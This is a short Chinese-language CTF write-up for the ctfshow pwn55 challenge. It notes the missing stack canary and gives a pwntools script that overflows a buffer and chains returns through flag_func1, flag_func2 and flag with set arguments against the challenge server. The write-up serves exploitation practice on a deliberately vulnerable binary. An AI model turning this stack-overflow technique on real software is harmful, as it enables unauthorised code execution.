ctfshow-pwn55

ctfshow-pwn55

我们先checksec一下:

1

没有开启canary保护,可能是栈溢出,拖入IDA中看看:

2

确实是栈溢出,接下来看比较重要的三个函数:

3

4

5

想要flag,flag1与flag2要等于1,那么我们就得先跳到flag_fun1设置flag1等于1,再跳到flag_fun2设置flag等于1,最后再溢出到flag函数,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
sh = remote("pwn.challenge.ctf.show",28156)
context.log_level = 'debug'

elf = ELF("./pwn")
flag_func1 = elf.symbols["flag_func1"]
flag_func2 = elf.symbols["flag_func2"]
flag = elf.symbols["flag"]

sh.recvuntil(b"Input your flag: ")
payload = b"A"*(0x2c+0x4) + p32(flag_func1) + p32(flag_func2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD)

sh.sendline(payload)

sh.interactive()

需要注意的是,数字不要直接传入p32()函数,在IDA中选定数字,按下H键,转成16进制后,再传入p32()函数,要不会报错。